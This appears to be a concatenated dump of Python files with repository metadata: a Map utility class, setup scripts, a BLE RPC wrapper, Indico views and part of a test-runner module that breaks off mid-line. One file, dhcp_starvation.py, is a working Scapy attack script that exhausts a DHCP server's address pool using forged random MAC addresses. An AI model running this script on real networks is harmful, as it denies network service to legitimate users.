remove(self, *keys): '''Delete keys and return self >>> m = Map(a=3, b=4, c=5) >>> m.remove('a', 'c') Map({'b': 4}) >>> m Map({'b': 4}) Returns ------- self ''' for key in keys: del self[key] return self def without(self, *keys): '''Create a new Map instance with those keys >>> m = Map(a=3, b=4, c=6) >>> m.without('a', 'c') Map({'b': 4}) >>> m Map({'a': 3, 'b': 4, 'c': 6}) Returns ------- Map[key, value] ''' return Map((key, value) for key, value in self.items() if key not in keys) def retain(self, pred): '''Delete key/value pairs not satisfying the predicate and return self >>> m = Map(a=3, b=4, c=5) >>> m.retain(lambda k, v: k == 'b' or v == 5) Map({'b': 4, 'c': 5}) >>> m Map({'b': 4, 'c': 5}) Parameters ---------- pred : ``(k, v) -> bool`` Returns ------- self ''' keys_to_delete = [] for key, value in self.items(): if not pred(key, value): keys_to_delete.append(key) return self.remove(*keys_to_delete) def retain_false(self, pred): '''Delete key/value pairs satisfying the predicate and return self >>> m = Map(a=3, b=4, c=5) >>> m.retain_false(lambda k, v: k == 'b' or v == 5) Map({'a': 3}) >>> m Map({'a': 3}) Parameters ---------- pred : ``(k, v) -> bool`` Returns ------- self ''' keys_to_delete = [] for key, value in self.items(): if pred(key, value): keys_to_delete.append(key) return self.remove(*keys_to_delete) def retain_by_key(self, pred): '''Delete key/value pairs not satisfying the predicate and return self >>> m = Map(a=3, b=4, c=5) >>> m.retain_by_key(lambda k: k == 'b') Map({'b': 4}) >>> m Map({'b': 4}) Parameters ---------- pred : ``(k) -> bool`` Returns ------- self ''' keys_to_delete = [] for key, value in self.items(): if not pred(key): keys_to_delete.append(key) return self.remove(*keys_to_delete) def retain_by_value(self, pred): '''Delete key/value pairs not satisfying the predicate and return self >>> m = Map(a=3, b=4, c=5) >>> m.retain_by_value(lambda v: v == 4) Map({'b': 4}) >>> m Map({'b': 4}) Parameters ---------- pred : ``(k) -> bool`` Returns ------- self ''' keys_to_delete = [] for key, value in self.items(): if not pred(value): keys_to_delete.append(key) return self.remove(*keys_to_delete) def filter(self, pred): '''Create a new Map with key/value pairs satisfying the predicate >>> m = Map({1: 2, 2: 4, 3: 6}) >>> m2 = m.filter(lambda k, v: (v-k) % 3 == 0) >>> m2 Map({3: 6}) Parameters ---------- pred : ``(k, v) -> bool`` predicate Returns ------- Map[key, value] ''' return Map((k, v) for k, v in self.items() if pred(k, v)) def filter_false(self, pred): '''Create a new Map with key/value pairs not satisfying the predicate >>> m = Map({1: 2, 2: 4, 3: 6}) >>> m2 = m.filter_false(lambda k, v: (v-k) % 3 == 0) >>> m2 Map({1: 2, 2: 4}) Parameters ---------- pred : ``(k, v) -> bool`` predicate Returns ------- Map[key, value] ''' return Map((k, v) for k, v in self.items() if not pred(k, v)) def filter_by_key(self, pred): '''Create a new Map with keys satisfying the predicate >>> m = Map({1: 2, 2: 4, 3: 6}) >>> m2 = m.filter_by_key(lambda k: k % 3 == 0) >>> m2 Map({3: 6}) Parameters ---------- pred : ``(k, v) -> bool`` predicate Returns ------- Map[key, value] ''' return Map((k, v) for k, v in self.items() if pred(k)) def filter_by_value(self, pred): '''Create a new Map with values satisfying the predicate >>> m = Map({1: 2, 2: 4, 3: 6}) >>> m2 = m.filter_by_value(lambda v: v % 3 == 0) >>> m2 Map({3: 6}) Parameters ---------- pred : ``(k, v) -> bool`` predicate Returns ------- Map[key, value] ''' return Map((k, v) for k, v in self.items() if pred(v)) def group_by(self, key_func): '''Group key/value pairs into nested Maps. >>> Map(a=3, b=4, c=5).group_by(lambda k, v: v % 2) Map({1: Map({'a': 3, 'c': 5}), 0: Map({'b': 4})}) Parameters ---------- key_func : ``(key, value) -> group_key`` predicate Returns ------- Map[key_func(key), Map[key, value]] ''' grouped_d = defaultdict(Map) for key, value in self.items(): grouped_d[key_func(key, value)][key] = value return Map(grouped_d) def reduce(self, key): pass def make_string(self, key_value_format='{key!r}: {value!r}', start='{', item_sep=', ', end='}'): '''Construct a string from key/values. >>> m = Map(a=3, b=4, c=5) >>> m.make_string() "{'a': 3, 'b': 4, 'c': 5}" >>> m.make_string(start='(', key_value_format='{key}={value!r}', ... item_sep=', ', end=')') '(a=3, b=4, c=5)' Parameters ---------- key_value_format : str string template using builtin ``str.format()`` for formatting key/value pairs. Default to ``'{key!r}: {value!r}'``. Available named placeholders: ``{key}``, ``{value}`` start : str Default to ``'{'``. item_sep : str Default to ``', '`` end : str Default to ``}`` Returns ------- str ''' items_str = item_sep.join( key_value_format.format(key=key, value=value) for key, value in self.items()) return start + items_str + end def take(self, n): '''create a Stream instance of first ``n`` ``Row(key, value)`` elements. >>> m = Map(a=4, b=5, c=6, d=7) >>> m.take(2).to_list() [Row(key='a', value=4), Row(key='b', value=5)] Returns ------- Stream[Row[key, value]] ''' return self.to_stream().take(n) def first(self): '''Get the first item in ``Row(key, value)`` type >>> m = Map(a=4, b=5, c=6, d=7) >>> m.first() Row(key='a', value=4) >>> m.first().key 'a' >>> m.first().value 4 >>> m = Map() >>> m.first() Traceback (most recent call last): ... IndexError: index out of range. Returns ------- Row[key, value] ''' return self.nth(0) def first_opt(self): '''Optionally get the first item. Return Some(Row(key, value)) if first item exists, otherwise return Nothing >>> m = Map(a=4, b=5, c=6, d=7) >>> m.first_opt().map(lambda kv: kv.transform(value=lambda v: v * 2)) Some(Row(key='a', value=8)) >>> m.first_opt().map(lambda kv: kv.value) Some(4) >>> m = Map() >>> m.first_opt() Nothing Returns ------- Optional[Row[key, value]] ''' return self.nth_opt(0) def nth(self, index): '''Get the nth item in ``Row(key, value)`` type. >>> m = Map(a=4, b=5, c=6, d=7) >>> m.nth(2) Row(key='c', value=6) >>> m = Map(a=4, b=5) >>> m.nth(2) Traceback (most recent call last): ... IndexError: index out of range. Returns ------- Row[key, value] ''' try: key, value = next(itt.islice(self.items(), index, None)) return KeyValue(key, value) except StopIteration: raise IndexError('index out of range.') def nth_opt(self, index): '''Optionally get the nth item. Return ``Some(Row(key, value))`` if first item exists, otherwise return Nothing. >>> m = Map(a=4, b=5, c=6, d=7) >>> m.first_opt().map(lambda kv: kv.transform(value=lambda v: v * 2)) Some(Row(key='a', value=8)) >>> m = Map() >>> m.first_opt() Nothing Returns ------- Optional[Row[key, value]] ''' try: return Some(self.nth(index)) except IndexError: return Nothing def len(self): '''Get the length of this Map >>> m = Map(a=4, b=5, c=6, d=7) >>> m.len() 4 Returns ------- int ''' return len(self) def to_stream(self, key_field='key', value_field='value'): '''Convert to a Stream instance of ``Row(key, value)`` iterable. >>> m = Map(a=4, b=5, c=6, d=7) >>> m.to_stream().take(2).to_list() [Row(key='a', value=4), Row(key='b', value=5)] Returns ------- Stream[Row[key, value]] ''' return (Stream(super().items()) .starmap(lambda key, value: Row(**{key_field: key, value_field: value}))) def to_array(self): '''Convert to an Array instance of ``Row(key, value)`` iterable. >>> m = Map(a=4, b=5, c=6, d=7) >>> m.to_array().take(2) Array([Row(key='a', value=4), Row(key='b', value=5)]) Returns ------- Array[Row[key, value]] ''' return self.to_stream().to_array() def to_list(self): '''Convert to an list instance of ``Row(key, value)`` iterable. >>> m = Map(a=4, b=5) >>> m.to_list() [Row(key='a', value=4), Row(key='b', value=5)] Returns ------- Array[Row[key, value]] ''' return self.to_stream().to_list() def to_dict(self): '''Convert to dict''' return dict(self) def flip(self): '''Create a new Map which key/value pairs are fliped >>> m = Map(a=4, b=5, c=6) >>> m.flip() Map({4: 'a', 5: 'b', 6: 'c'}) ''' return Map((value, key) for key, value in self.items()) def for_each(self, func): '''Call func for each key/value pair >>> m = Map(a=[], b=[], c=[]) >>> m.for_each(lambda k, v: v.append(k)) >>> m Map({'a': ['a'], 'b': ['b'], 'c': ['c']}) ''' for k, v in self.items(): func(k, v) def for_each_key(self, func): '''Call func for each key >>> m = Map(a=[], b=[], c=[]) >>> keys = [] >>> m.for_each_key(lambda k: keys.append(k)) >>> keys ['a', 'b', 'c'] ''' for k in self.keys(): func(k) def for_each_value(self, func): '''Call func for each value >>> m = Map(a=[], b=[], c=[]) >>> m.for_each_value(lambda v: v.append(3)) >>> m Map({'a': [3], 'b': [3], 'c': [3]}) ''' for v in self.values(): func(v) def nlargest_value_items(self, n=None): '''Get top n largest values >>> m = Map(a=6, b=2, c=10, d=9) >>> m.nlargest_value_items(n=2) Array([Row(key='c', value=10), Row(key='d', value=9)]) Returns ------- Array[Row[key, value]] ''' if n is None: vs = sorted(self.items(), key=op.itemgetter(1), reverse=True) vs = heapq.nlargest(n, self.items(), key=op.itemgetter(1)) return Array(vs) def nsmallest_value_items(self, n=None): '''Get top n smallest values >>> m = Map(a=6, b=2, c=10, d=9) >>> m.nsmallest_value_items(n=2) Array([Row(key='b', value=2), Row(key='a', value=6)]) Returns ------- Array[Row[key, value]] ''' if n is None: vs = sorted(self.items(), key=op.itemgetter(1), reverse=False) vs = heapq.nsmallest(n, self.items(), key=op.itemgetter(1)) return Array(vs)

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0

null

0

null

0

1

0

1

0

2

d9cda095792354d7154784dc55b6bba5f5eb7ad8

53

py

Python

src/titiler/mosaic/titiler/mosaic/version.py

mackdelany/titiler

b2a76185d96af9aa8b653fd8134bbaa591d637a5

[ "MIT" ]

null

src/titiler/mosaic/titiler/mosaic/version.py

mackdelany/titiler

b2a76185d96af9aa8b653fd8134bbaa591d637a5

[ "MIT" ]

null

src/titiler/mosaic/titiler/mosaic/version.py

mackdelany/titiler

b2a76185d96af9aa8b653fd8134bbaa591d637a5

[ "MIT" ]

null

"""titiler.mosaic version.""" __version__ = "0.3.4"

13.25

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53

3

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0

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0

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0

1

0

null

0

1

0

null

0

2

d9dcc60eb4f19996fd212171e3b48a11bacc7e0e

2,629

py

Python

dhcp_starvation.py

Nuve17/BadSquirrel

bbe61785e12c6633f09853fd05d6cf6936925800

[ "Apache-2.0" ]

2

2018-06-19T15:31:19.000Z

2018-07-03T12:35:08.000Z

dhcp_starvation.py

Nuve17/BadSquirrel

bbe61785e12c6633f09853fd05d6cf6936925800

[ "Apache-2.0" ]

null

dhcp_starvation.py

Nuve17/BadSquirrel

bbe61785e12c6633f09853fd05d6cf6936925800

[ "Apache-2.0" ]

null

from scapy.all import * from time import sleep from threading import Thread class DHCPStarvation(object): def __init__(self): # Generated MAC stored to avoid same MAC requesting for different IP self.mac = [""] # Requested IP stored to identify registered IP self.ip = [] def handle_dhcp(self, pkt): if pkt[DHCP]: # if DHCP server reply ACK, the IP address requested is registered # 10.10.111.107 is IP for bt5, not to be starved if pkt[DHCP].options[0][1]==5 and pkt[IP].dst != "192.168.100.1": self.ip.append(pkt[IP].dst) print str(pkt[IP].dst)+" registered" # Duplicate ACK may happen due to packet loss elif pkt[DHCP].options[0][1]==6: print "NAK received" def listen(self): # sniff DHCP packets sniff(filter="udp and (port 67 or port 68)", prn=self.handle_dhcp, store=0) def start(self): # start packet listening thread thread = Thread(target=self.listen) thread.start() print "Starting DHCP starvation..." # Keep starving until all 100 targets are registered # 100~200 excepts 107 = 100 while len(self.ip) < 100: self.starve() print "Targeted IP address starved" def starve(self): for i in range(0,11): # don't request 10.10.111.107 #if i == 7: continue # generate IP we want to request # if IP already registered, then skip requested_addr = "10.0.2."+str(55+i) if requested_addr in self.ip: continue # generate MAC, avoid duplication src_mac = "" while src_mac in self.mac: src_mac = RandMAC() self.mac.append(src_mac) # generate DHCP request packet pkt = Ether(src=src_mac, dst="ff:ff:ff:ff:ff:ff") pkt /= IP(src="0.0.0.0", dst="255.255.255.255") pkt /= UDP(sport=68, dport=67) pkt /= BOOTP(chaddr=RandString(12, "0123456789abcdef")) pkt /= DHCP(options=[("message-type", "request"), ("requested_addr", requested_addr), ("server_id", "10.0.2.15"), "end"]) sendp(pkt, iface="vboxnet0",verbose=0) print "Trying to occupy "+requested_addr sleep(0.2) # interval to avoid congestion and packet loss def start_starvation(): starvation = DHCPStarvation() starvation.start()

40.446154

78

0.548117

333

2,629

4.273273

0.411411

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2,629

64

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null

0

1

0

null

0

1

0

2

d9e78173f5e7262d0fa6aa2283aa0ab2a12945a8

624

py

Python

indico/modules/news/views.py

jgrigera/indico

b5538f2755bc38a02313d079bac831ee3dfb44ab

[ "MIT" ]

1

2018-11-12T21:29:26.000Z

indico/modules/news/views.py

jgrigera/indico

b5538f2755bc38a02313d079bac831ee3dfb44ab

[ "MIT" ]

9

2020-09-08T09:25:57.000Z

2022-01-13T02:59:05.000Z

indico/modules/news/views.py

jgrigera/indico

b5538f2755bc38a02313d079bac831ee3dfb44ab

[ "MIT" ]

3

2020-07-20T09:09:44.000Z

2020-10-19T00:29:49.000Z

# This file is part of Indico. # Copyright (C) 2002 - 2020 CERN # # Indico is free software; you can redistribute it and/or # modify it under the terms of the MIT License; see the # LICENSE file for more details. from __future__ import unicode_literals from indico.modules.admin.views import WPAdmin from indico.util.i18n import _ from indico.web.views import WPDecorated, WPJinjaMixin class WPNews(WPJinjaMixin, WPDecorated): template_prefix = 'news/' title = _('News') def _get_body(self, params): return self._get_page_content(params) class WPManageNews(WPAdmin): template_prefix = 'news/'

24.96

57

0.745192

87

624

5.183908

0.666667

0.066519

0.079823

0

0.019455

0.176282

624

24

58

26

0.857977

0.320513

0

0.181818

0

0.033573

0

1

0.090909

false

0

0.363636

0.090909

1

0

null

0

null

0

1

0

1

0

2

d9ebd97390a108081d469a381a6c414e7e9ea419

1,210

py

Python

libsrc/wio_terminal_rtl/rpc/ble/scan.py

t-ikegami/WioTerminal-CircuitPython

efbdc2e13ad969fe009d88f7ec4b836ca61ae973

[ "MIT" ]

null

libsrc/wio_terminal_rtl/rpc/ble/scan.py

t-ikegami/WioTerminal-CircuitPython

efbdc2e13ad969fe009d88f7ec4b836ca61ae973

[ "MIT" ]

1

2022-01-19T00:16:02.000Z

2022-01-26T03:43:34.000Z

libsrc/wio_terminal_rtl/rpc/ble/scan.py

t-ikegami/WioTerminal-CircuitPython

efbdc2e13ad969fe009d88f7ec4b836ca61ae973

[ "MIT" ]

null

from .. import MTYPE_INVOKE, perform_request from ...Codec import Codec # rpc_le_scan_set_param(RPC_T_LE_SCAN_PARAM_TYPE param, in binary value) -> RPC_T_GAP_CAUSE def set_param(param, value) : codec = Codec(8, 1, MTYPE_INVOKE, "II{}", "I") return perform_request(codec, param, value) # rpc_le_scan_get_param(RPC_T_LE_SCAN_PARAM_TYPE param, out binary value) -> RPC_T_GAP_CAUSE def get_param(param) : codec = Codec(8, 2, MTYPE_INVOKE, "I", "I{}I") return perform_request(codec, param) # rpc_le_scan_start() -> RPC_T_GAP_CAUSE def start() : codec = Codec(8, 3, MTYPE_INVOKE, "", "I") return perform_request(codec) # rpc_le_scan_timer_start(uint32 tick) -> RPC_T_GAP_CAUSE def timer_start(tick) : codec = Codec(8, 4, MTYPE_INVOKE, "I", "I") return perform_request(codec, tick) # rpc_le_scan_stop() -> RPC_T_GAP_CAUSE def stop() : codec = Codec(8, 5, MTYPE_INVOKE, "", "I") return perform_request(codec) # rpc_le_scan_info_filter(bool enable, uint8 offset, uint8 len, in uint8[31] p_filter) -> bool def info_filter(enable, offset, len, p_filter) : codec = Codec(8, 6, MTYPE_INVOKE, "bBB31s", "b") return perform_request(codec, enable, offset, len, p_filter)

35.588235

94

0.715702

197

1,210

4.050761

0.243655

0.06015

0.067669

0.18797

0.477444

0.365915

0.253133

0.18797

0.115288

0

0.020568

0.156198

1,210

33

95

36.666667

0.761019

0.335537

0

0.1

0

0.026382

0

1

0.3

false

0

0.1

0

0.7

0

null

0

1

0

null

0

1

0

2

d9fb65dc25c5543de378cebe44e4b1b97b5e92e7

1,251

py

Python

setup.py

logicai-io/python-json-logger

85a9511536c2d9f437d9e54dc533f6c075d56136

[ "BSD-2-Clause" ]

null

setup.py

logicai-io/python-json-logger

85a9511536c2d9f437d9e54dc533f6c075d56136

[ "BSD-2-Clause" ]

null

setup.py

logicai-io/python-json-logger

85a9511536c2d9f437d9e54dc533f6c075d56136

[ "BSD-2-Clause" ]

null

import sys if sys.version_info < (2, 7): print(sys.stderr, "{}: need Python 2.7 or later.".format(sys.argv[0])) print(sys.stderr, "Your Python is {}".format(sys.version)) sys.exit(1) from setuptools import setup, find_packages setup( name = "python-json-logger", version = "0.1.9", url = "http://github.com/madzak/python-json-logger", license = "BSD", description = "A python library adding a json log formatter", author = "Zakaria Zajac", author_email = "zak@madzak.com", package_dir = {'': 'src'}, packages = find_packages("src", exclude="tests"), test_suite = "tests.tests", install_requires = ['setuptools'], classifiers = [ 'Development Status :: 3 - Alpha', 'Intended Audience :: Developers', 'License :: OSI Approved :: BSD License', 'Operating System :: OS Independent', 'Programming Language :: Python', 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python :: 3.6', 'Topic :: System :: Logging', ] )

34.75

74

0.60032

142

1,251

5.239437

0.542254

0.178763

0.235215

0.139785

0

0.021097

0.242206

1,251

35

75

35.742857

0.763713

0

0.5004

0

1

0

true

0

0.060606

0

0.060606

0

null

0

1

0

null

0

1

0

2

8a050b03b37d4c7534396ecb8a7278a5ddb8495a

550

py

Python

{{cookiecutter.repo_name}}/setup.py

HemuManju/lightning-hydra-template

fee0d71f25b0a26c3047b2bf4d05834df8f70157

[ "MIT" ]

null

{{cookiecutter.repo_name}}/setup.py

HemuManju/lightning-hydra-template

fee0d71f25b0a26c3047b2bf4d05834df8f70157

[ "MIT" ]

null

{{cookiecutter.repo_name}}/setup.py

HemuManju/lightning-hydra-template

fee0d71f25b0a26c3047b2bf4d05834df8f70157

[ "MIT" ]

null

#!/usr/bin/env python from setuptools import setup, find_packages setup( name='{{ cookiecutter.project_name }}', version='0.0.0', description='{{ cookiecutter.description }}', author='{{ cookiecutter.author_name }}', author_email='', url='', # replace with your own github repo url install_requires=['pytorch-lightning', 'hydra-core'], packages=find_packages(), license='{% if cookiecutter.open_source_license == 'MIT' %}MIT{% elif cookiecutter.open_source_license == 'BSD-3-Clause' %}BSD-3{% endif %}' # noqa )

36.666667

151

0.674545

65

550

5.553846

0.646154

0.066482

0.121884

0.160665

0

0.010753

0.154545

550

14

152

39.285714

0.765591

0.114545

0

0.483471

0.283058

0

null

0

0.083333

null

0

null

0

1

0

null

0

1

0

2

8a0ac0d22efedb04ad9d5a3e84555805e4304b88

453

py

Python

setup.py

Kraktoos/Python-Elo-System

7396030c2e00d9464f9eef62020bc742b327dd3f

[ "MIT" ]

2

2021-10-20T18:35:59.000Z

2021-10-31T19:56:36.000Z

setup.py

Kraktoos/elo_system

7396030c2e00d9464f9eef62020bc742b327dd3f

[ "MIT" ]

null

setup.py

Kraktoos/elo_system

7396030c2e00d9464f9eef62020bc742b327dd3f

[ "MIT" ]

1

2022-02-08T13:58:10.000Z

from setuptools import setup setup(name="elo_system", version="1.0", description="Yet another Python Implementation of the Elo rating system.", long_description=""" Yet another Python Implementation of the Elo rating system. """, author="Kraktoos", author_email="kraktoos@gmail.com", url="https://github.com/Kraktoos/elo_system", include_package_data=True, license="MIT", )

32.357143

81

0.642384

52

453

5.480769

0.634615

0.063158

0.147368

0.189474

0.42807

0

0.005848

0.245033

453

14

82

32.357143

0.827485

0

0.480726

0

1

0

true

0

0.076923

0

0.076923

0

null

0

1

0

null

0

1

0

2

8a0ed597d40b8e2adc03dbad797c60dcb28ef47e

165

py

Python

genda/parsing/matrixtest.py

jeffhsu3/genda

5adbb5b5620c592849fa4a61126b934e1857cd77

[ "BSD-3-Clause" ]

5

2016-01-12T15:12:18.000Z

2022-02-10T21:57:39.000Z

genda/parsing/matrixtest.py

jeffhsu3/genda

5adbb5b5620c592849fa4a61126b934e1857cd77

[ "BSD-3-Clause" ]

5

2015-01-20T04:22:50.000Z

2018-10-02T19:39:12.000Z

genda/parsing/matrixtest.py

jeffhsu3/genda

5adbb5b5620c592849fa4a61126b934e1857cd77

[ "BSD-3-Clause" ]

1

2022-03-04T06:49:39.000Z

from PWMparser import * t = open("/home/hsuj/Downloads/All_PWMs/SCI09/Gcm1_pwm_primary.txt", 'rU') index, matrix, size = uniProbe_parse(t) print(matrix) print(size)

27.5

74

0.757576

26

165

4.653846

0.846154

0

0.02

0.090909

165

5

75

33

0.786667

0

0.351515

0.339394

0

1

0

false

0

0.2

0

0.2

0.4

1

0

null

0

1

0

null

0

2

8a14e3fa81291ae479bb2f7e62317024325cab7b

515

py

Python

ibsng/handler/ldap/get_user_info.py

ParspooyeshFanavar/pyibsng

d48bcf4f25e3f23461528bf0ff8870cc3d537444

[ "MIT" ]

6

2018-03-06T10:16:36.000Z

2021-12-05T12:43:10.000Z

ibsng/handler/ldap/get_user_info.py

ParspooyeshFanavar/pyibsng

d48bcf4f25e3f23461528bf0ff8870cc3d537444

[ "MIT" ]

3

2018-03-06T10:27:08.000Z

2022-01-02T15:21:27.000Z

ibsng/handler/ldap/get_user_info.py

ParspooyeshFanavar/pyibsng

d48bcf4f25e3f23461528bf0ff8870cc3d537444

[ "MIT" ]

3

2018-01-06T16:28:31.000Z

2018-09-17T19:47:19.000Z

"""Get user info API method.""" from ibsng.handler.handler import Handler class getUserInfo(Handler): """Get user info method class.""" def control(self): """Validate inputs after setup method. :return: None :rtype: None """ self.is_valid(self.username, str) def setup(self, username): """Setup required parameters. :param str username: ibsng username :return: None :rtype: None """ self.username = username

20.6

46

0.586408

56

515

5.375

0.5

0.119601

0.07309

0.126246

0.152824

0

0.302913

515

24

47

21.458333

0.83844

0.405825

0

1

0.333333

false

0

0.166667

0

0.666667

0

null

0

null

0

1

0

1

0

2

8a1b7b3c2132b2942cc3026e54b6189a4e0cfd8d

267

py

Python

eventextractiontool.py

Slark0/IE

9e6b03be4a1ebce1632651a0042de7a602075205

[ "MIT" ]

null

eventextractiontool.py

Slark0/IE

9e6b03be4a1ebce1632651a0042de7a602075205

[ "MIT" ]

null

eventextractiontool.py

Slark0/IE

9e6b03be4a1ebce1632651a0042de7a602075205

[ "MIT" ]

null

import tkinter as tk from tkinter import ttk from tkinter import scrolledtext from tkinter import * # 导入tkinter模块的所有内容 root = Tk() input = Entry(root) input.pack(padx=200,pady=200) input.delete(0, END) #先清空按照索引 input.insert(0,"请输入内容...") root.mainloop()

12.136364

32

0.722846

38

267

5.078947

0.578947

0.170984

0.264249

0

0.035714

0.161049

267

21

33

12.714286

0.825893

0.086142

0

0.033898

0

1

0

false

0

0.4

0

0.4

0

null

0

1

0

null

0

1

0

2

8a27081321f363187f7d307940bfea675bffcedc

32,556

py

Python

moler/runner.py

Laymer/moler

2d7b89efdc2ca5e9975112b97934b396e24b5505

[ "BSD-3-Clause" ]

2

2021-03-14T15:17:10.000Z

2021-03-15T07:12:12.000Z

moler/runner.py

Laymer/moler

2d7b89efdc2ca5e9975112b97934b396e24b5505

[ "BSD-3-Clause" ]

null

moler/runner.py

Laymer/moler

2d7b89efdc2ca5e9975112b97934b396e24b5505

[ "BSD-3-Clause" ]

null

# -*- coding: utf-8 -*- # Copyright (C) 2018-2020 Nokia """ Runner abstraction goal is to hide concurrency machinery used to make it exchangeable (threads, asyncio, twisted, curio) """ __author__ = 'Grzegorz Latuszek, Marcin Usielski, Michal Ernst' __copyright__ = 'Copyright (C) 2018-2020, Nokia' __email__ = 'grzegorz.latuszek@nokia.com, marcin.usielski@nokia.com, michal.ernst@nokia.com' import atexit import concurrent.futures import logging import threading import time from abc import abstractmethod, ABCMeta from concurrent.futures import ThreadPoolExecutor, wait from functools import partial from six import add_metaclass from moler.exceptions import CommandTimeout from moler.exceptions import ConnectionObserverTimeout from moler.exceptions import MolerException from moler.exceptions import CommandFailure from moler.util.loghelper import log_into_logger @add_metaclass(ABCMeta) class ConnectionObserverRunner(object): @abstractmethod def shutdown(self): """Cleanup used resources.""" @abstractmethod def submit(self, connection_observer): """ Submit connection observer to background execution. Returns Future that could be used to await for connection_observer done. """ @abstractmethod def wait_for(self, connection_observer, connection_observer_future, timeout=10.0): """ Await for connection_observer running in background or timeout. :param connection_observer: The one we are awaiting for. :param connection_observer_future: Future of connection-observer returned from submit(). :param timeout: Max time (in float seconds) you want to await before you give up. :return: """ @abstractmethod def wait_for_iterator(self, connection_observer, connection_observer_future): """ Version of wait_for() intended to be used by Python3 to implement iterable/awaitable object. Note: we don't have timeout parameter here. If you want to await with timeout please do use timeout machinery of selected parallelism. :param connection_observer: The one we are awaiting for. :param connection_observer_future: Future of connection-observer returned from submit(). :return: iterator """ @abstractmethod def feed(self, connection_observer): """ Feeds connection_observer with data to let it become done. This is a place where runner is a glue between words of connection and connection-observer. Should be called from background-processing of connection observer. """ @abstractmethod def timeout_change(self, timedelta): """ Call this method to notify runner that timeout has been changed in observer :param timedelta: delta timeout in float seconds :return: None """ def __enter__(self): return self def __exit__(self, exc_type, exc_val, exc_tb): self.shutdown() return False # exceptions (if any) should be reraised def time_out_observer(connection_observer, timeout, passed_time, runner_logger, kind="background_run"): """Set connection_observer status to timed-out""" if not connection_observer.life_status.was_on_timeout_called: connection_observer.life_status.was_on_timeout_called = True if not connection_observer.done(): if hasattr(connection_observer, "command_string"): exception = CommandTimeout(connection_observer=connection_observer, timeout=timeout, kind=kind, passed_time=passed_time) else: exception = ConnectionObserverTimeout(connection_observer=connection_observer, timeout=timeout, kind=kind, passed_time=passed_time) # TODO: secure_data_received() may change status of connection_observer # TODO: and if secure_data_received() runs inside threaded connection - we have race connection_observer.set_exception(exception) connection_observer.on_timeout() observer_info = "{}.{}".format(connection_observer.__class__.__module__, connection_observer) timeout_msg = "has timed out after {:.2f} seconds.".format(passed_time) msg = "{} {}".format(observer_info, timeout_msg) # levels_to_go_up: extract caller info to log where .time_out_observer has been called from connection_observer._log(logging.INFO, msg, levels_to_go_up=2) log_into_logger(runner_logger, level=logging.DEBUG, msg="{} {}".format(connection_observer, timeout_msg), levels_to_go_up=1) def result_for_runners(connection_observer): """ When runner takes result from connection-observer it should not modify ConnectionObserver._not_raised_exceptions :param connection_observer: observer to get result from :return: result or raised exception """ if connection_observer._exception: raise connection_observer._exception return connection_observer.result() class CancellableFuture(object): def __init__(self, future, observer_lock, stop_running, is_done, stop_timeout=0.5): """ Wrapper to allow cancelling already running concurrent.futures.Future Assumes that executor submitted function with following parameters fun(stop_running, is_done) and that such function correctly handles that events (threading.Event) :param future: wrapped instance of concurrent.futures.Future :param stop_running: set externally to finish thread execution of function :param is_done: set when function finished running in thread :param stop_timeout: timeout to await is_done after setting stop_running """ self._future = future self.observer_lock = observer_lock # against threads race write-access to observer self._stop_running = stop_running self._stop_timeout = stop_timeout self._is_done = is_done def __getattr__(self, attr): """Make it proxy to embedded future""" attribute = getattr(self._future, attr) return attribute def __str__(self): """Make it proxy to embedded future""" f_str = str(self._future) return "CancellableFuture({})".format(f_str) def cancel(self, no_wait=False): """ Cancel embedded future :param no_wait: if True - just set self._stop_running event to let thread exit loop :return: """ if self.running(): self._stop(no_wait) if no_wait: return True # after exiting threaded-function future.state == FINISHED # we need to change it to PENDING to allow for correct cancel via concurrent.futures.Future with self._condition: self._future._state = concurrent.futures._base.PENDING return self._future.cancel() def _stop(self, no_wait=False): self._stop_running.set() # force threaded-function to exit if no_wait: return if not self._is_done.wait(timeout=self._stop_timeout): err_msg = "Failed to stop thread-running function within {} sec".format(self._stop_timeout) # TODO: should we break current thread or just set this exception inside connection-observer # (is it symetric to failed-start ?) # may cause leaking resources - no call to moler_conn.unsubscribe() raise MolerException(err_msg) class ThreadPoolExecutorRunner(ConnectionObserverRunner): def __init__(self, executor=None): """Create instance of ThreadPoolExecutorRunner class""" self._tick = 0.005 # Tick for sleep or partial timeout self._in_shutdown = False self._i_own_executor = False self._was_timeout_called = False self.executor = executor self.logger = logging.getLogger('moler.runner.thread-pool') self.logger.debug("created") atexit.register(self.shutdown) if executor is None: max_workers = 1000 # max 1000 threads in pool try: # concurrent.futures v.3.2.0 introduced prefix we like :-) self.executor = ThreadPoolExecutor(max_workers=max_workers, thread_name_prefix='ThrdPoolRunner') except TypeError as exc: if ('unexpected' in str(exc)) and ('thread_name_prefix' in str(exc)): self.executor = ThreadPoolExecutor(max_workers=max_workers) else: raise self.logger.debug("created own executor {!r}".format(self.executor)) self._i_own_executor = True else: self.logger.debug("reusing provided executor {!r}".format(self.executor)) def shutdown(self): self.logger.debug("shutting down") self._in_shutdown = True # will exit from feed() without stopping executor (since others may still use that executor) if self._i_own_executor: self.executor.shutdown() # also stop executor since only I use it def submit(self, connection_observer): """ Submit connection observer to background execution. Returns Future that could be used to await for connection_observer done. """ assert connection_observer.life_status.start_time > 0.0 # connection-observer lifetime should already been # started observer_timeout = connection_observer.timeout remain_time, msg = his_remaining_time("remaining", timeout=observer_timeout, from_start_time=connection_observer.life_status.start_time) self.logger.debug("go background: {!r} - {}".format(connection_observer, msg)) # TODO: check dependency - connection_observer.connection # Our submit consists of two steps: # 1. _start_feeding() which establishes data path from connection to observer # 2. scheduling "background feed" via executor.submit() # # By using the code of _start_feeding() we ensure that after submit() connection data could reach # data_received() of observer - as it would be "virtually running in background" # Another words, no data will be lost-for-observer between runner.submit() and runner.feed() really running # # We do not await here (before returning from submit()) for "background feed" to be really started. # That is in sync with generic nature of threading.Thread - after thread.start() we do not have # running thread - it is user responsibility to await for threads switch. # User may check "if thread is running" via Thread.is_alive() API. # For concurrent.futures same is done via future.running() API. # # However, lifetime of connection_observer starts in connection_observer.start(). # It gains it's own timer so that timeout is calculated from that connection_observer.life_status.start_time # That lifetime may start even before this submit() if observer is command and we have commands queue. # # As a corner case runner.wait_for() may timeout before feeding thread has started. stop_feeding = threading.Event() feed_done = threading.Event() observer_lock = threading.Lock() # against threads race write-access to observer subscribed_data_receiver = self._start_feeding(connection_observer, observer_lock) connection_observer_future = self.executor.submit(self.feed, connection_observer, subscribed_data_receiver, stop_feeding, feed_done, observer_lock) if 